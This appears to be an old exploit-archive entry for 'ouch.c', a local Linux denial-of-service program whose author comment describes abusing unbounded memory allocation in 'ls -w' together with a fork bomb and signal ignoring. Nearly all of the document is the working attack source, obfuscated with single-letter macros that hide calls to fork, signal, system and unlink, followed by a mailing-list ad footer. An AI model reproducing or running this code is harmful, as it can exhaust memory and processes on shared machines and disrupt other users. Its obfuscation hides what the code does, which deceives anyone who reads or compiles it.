ouch.c is a local linux denial of service attack which runs ls -w with a large parameter, causing ls to take up all the available memory. Obfuscated source.
8c5ebdec1d772958f856e4516beced5151ab86d93861706df9cec590be032d1c
/*
[ouch.c local DoS discovered and coded by DjLizard]
[Obfuscated for your protection by ToastyX]
This one's heinous. ouch exploits a hole I found in ls a while back.
'-w' is the parameter for screen width. It has no bounds checking, and
will gladly allocate enough memory to display a listing on, say, a
500,000 column terminal. This, coupled with the old fork bomb
technique and signal ignoring, make this one hell of a DoS attack.
Don't try this anywhere *but* at home. I am not responsible for *you*
[SXN]
[djlizard@subdimension.com]
*/
#define a main
#define b (
#define c int
#define e ,
#define f char
#define g *
#define i )
#define j {
#define l =
#define m 1
#define n ;
#define p [
#define q +
#define r ]
#define s <
#define t }
#define u unlink
#define v for
#define w signal
#define x fork
#define y system
a b c d e f g g h i j c k l m n f o p b m q m i g b m q m i g b m q m i g b m
q m i q b m q m i r l j b m q m i g b m q m i g b m q m i g b m q m i g b m q
m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q
b m q m i g b m q m i g b m q m i q b m q m i g b m q m i e b m q m i g b m q
m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g
b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q
m i q b m q m i q m e b m q m i g b m q m i g b m q m i g b m q m i g b m q m
i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b
m q m i g b m q m i q b m q m i g b m q m i q m e b m q m i g b m q m i g b m
q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i
g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i q b m
q m i g b m q m i q b m q m i q m e b m q m i g b m q m i g b m q m i g b m q
m i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q
b m q m i g b m q m i g b m q m i g b m q m i q m e b m q m i g b m q m i g b
m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m
i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b
m q m i g b m q m i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m
i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i e b m q m i g b
m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m
i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b
m q m i g b m q m i g b m q m i g b m q m i e b m q m i g b m q m i g b m q m
i g b m q m i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b
m q m i q b m q m i g b m q m i g b m q m i q b m q m i g b m q m i q b m q m
i q m e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i g b m q m i
q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m
q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i g b m q m i
q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m
q m i q m e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i g b m q
m i q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g
b m q m i g b m q m i g b m q m i q b m q m i g b m q m i q b m q m i e b m q
m i s m t n u b g h i n v b n k s b m q m i g b m q m i g b m q m i g b m q m
i q b m q m i g b m q m i g b m q m i q b m q m i g b m q m i q b m q m i q m
n k l k q m i w b k e m i n v b n n i j x b i n y b o i n t t
_____________________________________________
NetZero - Defenders of the Free World
Click here for FREE Internet Access and Email
http://www.netzero.net/download/index.html